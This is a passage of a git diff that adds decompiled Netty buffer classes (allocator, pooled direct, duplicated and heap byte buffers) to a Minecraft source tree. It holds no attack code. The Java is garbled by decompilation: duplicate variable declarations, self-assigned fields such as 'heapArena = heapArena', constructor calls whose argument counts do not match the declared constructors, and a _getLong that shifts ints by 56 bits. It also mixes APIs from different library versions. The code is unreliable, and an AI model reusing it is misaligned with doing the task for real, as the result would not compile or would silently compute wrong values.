+        logger.debug("-Dio.netty.allocator.maxOrder: {}", Integer.valueOf(DEFAULT_MAX_ORDER));
+      } else {
+        logger.debug("-Dio.netty.allocator.maxOrder: {}", Integer.valueOf(DEFAULT_MAX_ORDER), maxOrderFallbackCause);
+      }
+      logger.debug("-Dio.netty.allocator.chunkSize: {}", Integer.valueOf(DEFAULT_PAGE_SIZE << DEFAULT_MAX_ORDER));
+      logger.debug("-Dio.netty.allocator.tinyCacheSize: {}", Integer.valueOf(DEFAULT_TINY_CACHE_SIZE));
+      logger.debug("-Dio.netty.allocator.smallCacheSize: {}", Integer.valueOf(DEFAULT_SMALL_CACHE_SIZE));
+      logger.debug("-Dio.netty.allocator.normalCacheSize: {}", Integer.valueOf(DEFAULT_NORMAL_CACHE_SIZE));
+      logger.debug("-Dio.netty.allocator.maxCachedBufferCapacity: {}", Integer.valueOf(DEFAULT_MAX_CACHED_BUFFER_CAPACITY));
+      logger.debug("-Dio.netty.allocator.cacheTrimInterval: {}", Integer.valueOf(DEFAULT_CACHE_TRIM_INTERVAL));
+    }
+  }
+  
+  public static final PooledByteBufAllocator DEFAULT = new PooledByteBufAllocator(PlatformDependent.directBufferPreferred());
+  
+  private final PoolArena<byte[]>[] heapArenas;
+  
+  private final PoolArena<ByteBuffer>[] directArenas;
+  private final int tinyCacheSize;
+  private final int smallCacheSize;
+  private final int normalCacheSize;
+  final PoolThreadLocalCache threadCache;
+  
+  public PooledByteBufAllocator()
+  {
+    this(false);
+  }
+  
+  public PooledByteBufAllocator(boolean preferDirect) {
+    this(preferDirect, DEFAULT_NUM_HEAP_ARENA, DEFAULT_NUM_DIRECT_ARENA, DEFAULT_PAGE_SIZE, DEFAULT_MAX_ORDER);
+  }
+  
+  public PooledByteBufAllocator(int nHeapArena, int nDirectArena, int pageSize, int maxOrder) {
+    this(false, nHeapArena, nDirectArena, pageSize, maxOrder);
+  }
+  
+  public PooledByteBufAllocator(boolean preferDirect, int nHeapArena, int nDirectArena, int pageSize, int maxOrder) {
+    this(preferDirect, nHeapArena, nDirectArena, pageSize, maxOrder, DEFAULT_TINY_CACHE_SIZE, DEFAULT_SMALL_CACHE_SIZE, DEFAULT_NORMAL_CACHE_SIZE);
+  }
+  
+
+  public PooledByteBufAllocator(boolean preferDirect, int nHeapArena, int nDirectArena, int pageSize, int maxOrder, int tinyCacheSize, int smallCacheSize, int normalCacheSize)
+  {
+    super(preferDirect);
+    threadCache = new PoolThreadLocalCache();
+    this.tinyCacheSize = tinyCacheSize;
+    this.smallCacheSize = smallCacheSize;
+    this.normalCacheSize = normalCacheSize;
+    int chunkSize = validateAndCalculateChunkSize(pageSize, maxOrder);
+    
+    if (nHeapArena < 0) {
+      throw new IllegalArgumentException("nHeapArena: " + nHeapArena + " (expected: >= 0)");
+    }
+    if (nDirectArena < 0) {
+      throw new IllegalArgumentException("nDirectArea: " + nDirectArena + " (expected: >= 0)");
+    }
+    
+    int pageShifts = validateAndCalculatePageShifts(pageSize);
+    
+    if (nHeapArena > 0) {
+      heapArenas = newArenaArray(nHeapArena);
+      for (int i = 0; i < heapArenas.length; i++) {
+        heapArenas[i] = new PoolArena.HeapArena(this, pageSize, maxOrder, pageShifts, chunkSize);
+      }
+    } else {
+      heapArenas = null;
+    }
+    
+    if (nDirectArena > 0) {
+      directArenas = newArenaArray(nDirectArena);
+      for (int i = 0; i < directArenas.length; i++) {
+        directArenas[i] = new PoolArena.DirectArena(this, pageSize, maxOrder, pageShifts, chunkSize);
+      }
+    } else {
+      directArenas = null;
+    }
+  }
+  
+
+
+  @Deprecated
+  public PooledByteBufAllocator(boolean preferDirect, int nHeapArena, int nDirectArena, int pageSize, int maxOrder, int tinyCacheSize, int smallCacheSize, int normalCacheSize, long cacheThreadAliveCheckInterval)
+  {
+    this(preferDirect, nHeapArena, nDirectArena, pageSize, maxOrder, tinyCacheSize, smallCacheSize, normalCacheSize);
+  }
+  
+
+  private static <T> PoolArena<T>[] newArenaArray(int size)
+  {
+    return new PoolArena[size];
+  }
+  
+  private static int validateAndCalculatePageShifts(int pageSize) {
+    if (pageSize < 4096) {
+      throw new IllegalArgumentException("pageSize: " + pageSize + " (expected: " + 4096 + "+)");
+    }
+    
+    if ((pageSize & pageSize - 1) != 0) {
+      throw new IllegalArgumentException("pageSize: " + pageSize + " (expected: power of 2)");
+    }
+    
+
+    return 31 - Integer.numberOfLeadingZeros(pageSize);
+  }
+  
+  private static int validateAndCalculateChunkSize(int pageSize, int maxOrder) {
+    if (maxOrder > 14) {
+      throw new IllegalArgumentException("maxOrder: " + maxOrder + " (expected: 0-14)");
+    }
+    
+
+    int chunkSize = pageSize;
+    for (int i = maxOrder; i > 0; i--) {
+      if (chunkSize > 536870912) {
+        throw new IllegalArgumentException(String.format("pageSize (%d) << maxOrder (%d) must not exceed %d", new Object[] { Integer.valueOf(pageSize), Integer.valueOf(maxOrder), Integer.valueOf(1073741824) }));
+      }
+      
+      chunkSize <<= 1;
+    }
+    return chunkSize;
+  }
+  
+  protected ByteBuf newHeapBuffer(int initialCapacity, int maxCapacity)
+  {
+    PoolThreadCache cache = (PoolThreadCache)threadCache.get();
+    PoolArena<byte[]> heapArena = heapArena;
+    ByteBuf buf;
+    ByteBuf buf;
+    if (heapArena != null) {
+      buf = heapArena.allocate(cache, initialCapacity, maxCapacity);
+    } else {
+      buf = new UnpooledHeapByteBuf(this, initialCapacity, maxCapacity);
+    }
+    
+    return toLeakAwareBuffer(buf);
+  }
+  
+  protected ByteBuf newDirectBuffer(int initialCapacity, int maxCapacity)
+  {
+    PoolThreadCache cache = (PoolThreadCache)threadCache.get();
+    PoolArena<ByteBuffer> directArena = directArena;
+    ByteBuf buf;
+    ByteBuf buf;
+    if (directArena != null) {
+      buf = directArena.allocate(cache, initialCapacity, maxCapacity);
+    } else { ByteBuf buf;
+      if (PlatformDependent.hasUnsafe()) {
+        buf = new UnpooledUnsafeDirectByteBuf(this, initialCapacity, maxCapacity);
+      } else {
+        buf = new UnpooledDirectByteBuf(this, initialCapacity, maxCapacity);
+      }
+    }
+    
+    return toLeakAwareBuffer(buf);
+  }
+  
+  public boolean isDirectBufferPooled()
+  {
+    return directArenas != null;
+  }
+  
+
+
+
+  @Deprecated
+  public boolean hasThreadLocalCache()
+  {
+    return threadCache.isSet();
+  }
+  
+
+
+  @Deprecated
+  public void freeThreadLocalCache()
+  {
+    threadCache.remove();
+  }
+  
+  final class PoolThreadLocalCache extends FastThreadLocal<PoolThreadCache> {
+    private final AtomicInteger index = new AtomicInteger();
+    
+    PoolThreadLocalCache() {}
+    
+    protected PoolThreadCache initialValue() { int idx = index.getAndIncrement();
+      
+      PoolArena<byte[]> heapArena;
+      PoolArena<byte[]> heapArena;
+      if (heapArenas != null) {
+        heapArena = heapArenas[Math.abs(idx % heapArenas.length)];
+      } else
+        heapArena = null;
+      PoolArena<ByteBuffer> directArena;
+      PoolArena<ByteBuffer> directArena;
+      if (directArenas != null) {
+        directArena = directArenas[Math.abs(idx % directArenas.length)];
+      } else {
+        directArena = null;
+      }
+      
+      return new PoolThreadCache(heapArena, directArena, tinyCacheSize, smallCacheSize, normalCacheSize, PooledByteBufAllocator.DEFAULT_MAX_CACHED_BUFFER_CAPACITY, PooledByteBufAllocator.DEFAULT_CACHE_TRIM_INTERVAL);
+    }
+    
+
+
+    protected void onRemoval(PoolThreadCache value)
+    {
+      value.free();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledDirectByteBuf.java b/src/minecraft/io/netty/buffer/PooledDirectByteBuf.java
new file mode 100644
index 0000000..89e554c
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledDirectByteBuf.java
@@ -0,0 +1,377 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledDirectByteBuf
+  extends PooledByteBuf<ByteBuffer>
+{
+  private static final Recycler<PooledDirectByteBuf> RECYCLER = new Recycler()
+  {
+    protected PooledDirectByteBuf newObject(Recycler.Handle handle) {
+      return new PooledDirectByteBuf(handle, 0, null);
+    }
+  };
+  
+  static PooledDirectByteBuf newInstance(int maxCapacity) {
+    PooledDirectByteBuf buf = (PooledDirectByteBuf)RECYCLER.get();
+    buf.setRefCnt(1);
+    buf.maxCapacity(maxCapacity);
+    return buf;
+  }
+  
+  private PooledDirectByteBuf(Recycler.Handle recyclerHandle, int maxCapacity) {
+    super(recyclerHandle, maxCapacity);
+  }
+  
+  protected ByteBuffer newInternalNioBuffer(ByteBuffer memory)
+  {
+    return memory.duplicate();
+  }
+  
+  public boolean isDirect()
+  {
+    return true;
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return ((ByteBuffer)memory).get(idx(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    return ((ByteBuffer)memory).getShort(idx(index));
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    index = idx(index);
+    return (((ByteBuffer)memory).get(index) & 0xFF) << 16 | (((ByteBuffer)memory).get(index + 1) & 0xFF) << 8 | ((ByteBuffer)memory).get(index + 2) & 0xFF;
+  }
+  
+  protected int _getInt(int index)
+  {
+    return ((ByteBuffer)memory).getInt(idx(index));
+  }
+  
+  protected long _getLong(int index)
+  {
+    return ((ByteBuffer)memory).getLong(idx(index));
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (dst.hasArray()) {
+      getBytes(index, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else if (dst.nioBufferCount() > 0) {
+      for (ByteBuffer bb : dst.nioBuffers(dstIndex, length)) {
+        int bbLen = bb.remaining();
+        getBytes(index, bb);
+        index += bbLen;
+      }
+    } else {
+      dst.setBytes(dstIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    getBytes(index, dst, dstIndex, length, false);
+    return this;
+  }
+  
+  private void getBytes(int index, byte[] dst, int dstIndex, int length, boolean internal) {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    tmpBuf.get(dst, dstIndex, length);
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, dstIndex, length, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    getBytes(index, dst, false);
+    return this;
+  }
+  
+  private void getBytes(int index, ByteBuffer dst, boolean internal) {
+    checkIndex(index);
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    int length = dst.remaining();
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    getBytes(index, out, length, false);
+    return this;
+  }
+  
+  private void getBytes(int index, OutputStream out, int length, boolean internal) throws IOException {
+    checkIndex(index, length);
+    if (length == 0) {
+      return;
+    }
+    
+    byte[] tmp = new byte[length];
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    tmpBuf.clear().position(idx(index));
+    tmpBuf.get(tmp);
+    out.write(tmp);
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, out, length, true);
+    readerIndex += length;
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    checkIndex(index, length);
+    if (length == 0) {
+      return 0;
+    }
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf;
+    if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ((ByteBuffer)memory).duplicate();
+    }
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    return out.write(tmpBuf);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    ((ByteBuffer)memory).put(idx(index), (byte)value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    ((ByteBuffer)memory).putShort(idx(index), (short)value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    index = idx(index);
+    ((ByteBuffer)memory).put(index, (byte)(value >>> 16));
+    ((ByteBuffer)memory).put(index + 1, (byte)(value >>> 8));
+    ((ByteBuffer)memory).put(index + 2, (byte)value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    ((ByteBuffer)memory).putInt(idx(index), value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    ((ByteBuffer)memory).putLong(idx(index), value);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.capacity());
+    if (src.hasArray()) {
+      setBytes(index, src.array(), src.arrayOffset() + srcIndex, length);
+    } else if (src.nioBufferCount() > 0) {
+      for (ByteBuffer bb : src.nioBuffers(srcIndex, length)) {
+        int bbLen = bb.remaining();
+        setBytes(index, bb);
+        index += bbLen;
+      }
+    } else {
+      src.getBytes(srcIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.length);
+    ByteBuffer tmpBuf = internalNioBuffer();
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    tmpBuf.put(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    checkIndex(index, src.remaining());
+    ByteBuffer tmpBuf = internalNioBuffer();
+    if (src == tmpBuf) {
+      src = src.duplicate();
+    }
+    
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + src.remaining());
+    tmpBuf.put(src);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    byte[] tmp = new byte[length];
+    int readBytes = in.read(tmp);
+    if (readBytes <= 0) {
+      return readBytes;
+    }
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(idx(index));
+    tmpBuf.put(tmp, 0, readBytes);
+    return readBytes;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    ByteBuffer tmpBuf = internalNioBuffer();
+    index = idx(index);
+    tmpBuf.clear().position(index).limit(index + length);
+    try {
+      return in.read(tmpBuf);
+    } catch (ClosedChannelException ignored) {}
+    return -1;
+  }
+  
+
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf copy = alloc().directBuffer(length, maxCapacity());
+    copy.writeBytes(this, index, length);
+    return copy;
+  }
+  
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    return ((ByteBuffer)((ByteBuffer)memory).duplicate().position(index).limit(index + length)).slice();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    index = idx(index);
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public int arrayOffset()
+  {
+    throw new UnsupportedOperationException("direct buffer");
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected Recycler<?> recycler()
+  {
+    return RECYCLER;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledDuplicatedByteBuf.java b/src/minecraft/io/netty/buffer/PooledDuplicatedByteBuf.java
new file mode 100644
index 0000000..c96238e
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledDuplicatedByteBuf.java
@@ -0,0 +1,376 @@
+package io.netty.buffer;
+
+import io.netty.util.ByteProcessor;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledDuplicatedByteBuf
+  extends AbstractPooledDerivedByteBuf
+{
+  private static final Recycler<PooledDuplicatedByteBuf> RECYCLER = new Recycler()
+  {
+    protected PooledDuplicatedByteBuf newObject(Recycler.Handle<PooledDuplicatedByteBuf> handle) {
+      return new PooledDuplicatedByteBuf(handle, null);
+    }
+  };
+  
+  static PooledDuplicatedByteBuf newInstance(AbstractByteBuf unwrapped, ByteBuf wrapped, int readerIndex, int writerIndex)
+  {
+    PooledDuplicatedByteBuf duplicate = (PooledDuplicatedByteBuf)RECYCLER.get();
+    duplicate.init(unwrapped, wrapped, readerIndex, writerIndex, wrapped.maxCapacity());
+    duplicate.markReaderIndex();
+    duplicate.markWriterIndex();
+    
+    return duplicate;
+  }
+  
+  private PooledDuplicatedByteBuf(Recycler.Handle<PooledDuplicatedByteBuf> handle) {
+    super(handle);
+  }
+  
+  public int capacity()
+  {
+    return unwrap().capacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    unwrap().capacity(newCapacity);
+    return this;
+  }
+  
+  public int arrayOffset()
+  {
+    return unwrap().arrayOffset();
+  }
+  
+  public long memoryAddress()
+  {
+    return unwrap().memoryAddress();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return unwrap().nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return unwrap().nioBuffers(index, length);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return unwrap().copy(index, length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return unwrap().slice(index, length);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    return PooledSlicedByteBuf.newInstance(unwrap(), this, index, length);
+  }
+  
+  public ByteBuf retainedDuplicate()
+  {
+    return newInstance(unwrap(), this, readerIndex(), writerIndex());
+  }
+  
+  public byte getByte(int index)
+  {
+    return unwrap().getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return unwrap()._getByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return unwrap().getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return unwrap()._getShort(index);
+  }
+  
+  public short getShortLE(int index)
+  {
+    return unwrap().getShortLE(index);
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return unwrap()._getShortLE(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return unwrap().getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return unwrap()._getUnsignedMedium(index);
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    return unwrap().getUnsignedMediumLE(index);
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return unwrap()._getUnsignedMediumLE(index);
+  }
+  
+  public int getInt(int index)
+  {
+    return unwrap().getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return unwrap()._getInt(index);
+  }
+  
+  public int getIntLE(int index)
+  {
+    return unwrap().getIntLE(index);
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return unwrap()._getIntLE(index);
+  }
+  
+  public long getLong(int index)
+  {
+    return unwrap().getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return unwrap()._getLong(index);
+  }
+  
+  public long getLongLE(int index)
+  {
+    return unwrap().getLongLE(index);
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return unwrap()._getLongLE(index);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    unwrap().getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    unwrap().getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    unwrap().getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    unwrap().setByte(index, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    unwrap()._setByte(index, value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    unwrap().setShort(index, value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    unwrap()._setShort(index, value);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    unwrap().setShortLE(index, value);
+    return this;
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    unwrap()._setShortLE(index, value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    unwrap().setMedium(index, value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    unwrap()._setMedium(index, value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    unwrap().setMediumLE(index, value);
+    return this;
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    unwrap()._setMediumLE(index, value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    unwrap().setInt(index, value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    unwrap()._setInt(index, value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    unwrap().setIntLE(index, value);
+    return this;
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    unwrap()._setIntLE(index, value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    unwrap().setLong(index, value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    unwrap()._setLong(index, value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    unwrap().setLongLE(index, value);
+    return this;
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    unwrap().setLongLE(index, value);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    unwrap().setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    unwrap().setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    unwrap().setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    unwrap().getBytes(index, out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    return unwrap().getBytes(index, out, length);
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length)
+    throws IOException
+  {
+    return unwrap().getBytes(index, out, position, length);
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+    throws IOException
+  {
+    return unwrap().setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+    throws IOException
+  {
+    return unwrap().setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length)
+    throws IOException
+  {
+    return unwrap().setBytes(index, in, position, length);
+  }
+  
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    return unwrap().forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    return unwrap().forEachByteDesc(index, length, processor);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledHeapByteBuf.java b/src/minecraft/io/netty/buffer/PooledHeapByteBuf.java
new file mode 100644
index 0000000..c8fde66
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledHeapByteBuf.java
@@ -0,0 +1,307 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PooledHeapByteBuf
+  extends PooledByteBuf<byte[]>
+{
+  private static final Recycler<PooledHeapByteBuf> RECYCLER = new Recycler()
+  {
+    protected PooledHeapByteBuf newObject(Recycler.Handle handle) {
+      return new PooledHeapByteBuf(handle, 0, null);
+    }
+  };
+  
+  static PooledHeapByteBuf newInstance(int maxCapacity) {
+    PooledHeapByteBuf buf = (PooledHeapByteBuf)RECYCLER.get();
+    buf.setRefCnt(1);
+    buf.maxCapacity(maxCapacity);
+    return buf;
+  }
+  
+  private PooledHeapByteBuf(Recycler.Handle recyclerHandle, int maxCapacity) {
+    super(recyclerHandle, maxCapacity);
+  }
+  
+  public boolean isDirect()
+  {
+    return false;
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return ((byte[])memory)[idx(index)];
+  }
+  
+  protected short _getShort(int index)
+  {
+    index = idx(index);
+    return (short)(((byte[])memory)[index] << 8 | ((byte[])memory)[(index + 1)] & 0xFF);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    index = idx(index);
+    return (((byte[])memory)[index] & 0xFF) << 16 | (((byte[])memory)[(index + 1)] & 0xFF) << 8 | ((byte[])memory)[(index + 2)] & 0xFF;
+  }
+  
+
+
+  protected int _getInt(int index)
+  {
+    index = idx(index);
+    return (((byte[])memory)[index] & 0xFF) << 24 | (((byte[])memory)[(index + 1)] & 0xFF) << 16 | (((byte[])memory)[(index + 2)] & 0xFF) << 8 | ((byte[])memory)[(index + 3)] & 0xFF;
+  }
+  
+
+
+
+  protected long _getLong(int index)
+  {
+    index = idx(index);
+    return (((byte[])memory)[index] & 0xFF) << 56 | (((byte[])memory)[(index + 1)] & 0xFF) << 48 | (((byte[])memory)[(index + 2)] & 0xFF) << 40 | (((byte[])memory)[(index + 3)] & 0xFF) << 32 | (((byte[])memory)[(index + 4)] & 0xFF) << 24 | (((byte[])memory)[(index + 5)] & 0xFF) << 16 | (((byte[])memory)[(index + 6)] & 0xFF) << 8 | ((byte[])memory)[(index + 7)] & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (dst.hasMemoryAddress()) {
+      PlatformDependent.copyMemory((byte[])memory, idx(index), dst.memoryAddress() + dstIndex, length);
+    } else if (dst.hasArray()) {
+      getBytes(index, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else {
+      dst.setBytes(dstIndex, (byte[])memory, idx(index), length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    System.arraycopy(memory, idx(index), dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex(index);
+    dst.put((byte[])memory, idx(index), Math.min(capacity() - index, dst.remaining()));
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    checkIndex(index, length);
+    out.write((byte[])memory, idx(index), length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return getBytes(index, out, length, false);
+  }
+  
+  private int getBytes(int index, GatheringByteChannel out, int length, boolean internal) throws IOException {
+    checkIndex(index, length);
+    index = idx(index);
+    ByteBuffer tmpBuf;
+    ByteBuffer tmpBuf; if (internal) {
+      tmpBuf = internalNioBuffer();
+    } else {
+      tmpBuf = ByteBuffer.wrap((byte[])memory);
+    }
+    return out.write((ByteBuffer)tmpBuf.clear().position(index).limit(index + length));
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length, true);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    ((byte[])memory)[idx(index)] = ((byte)value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
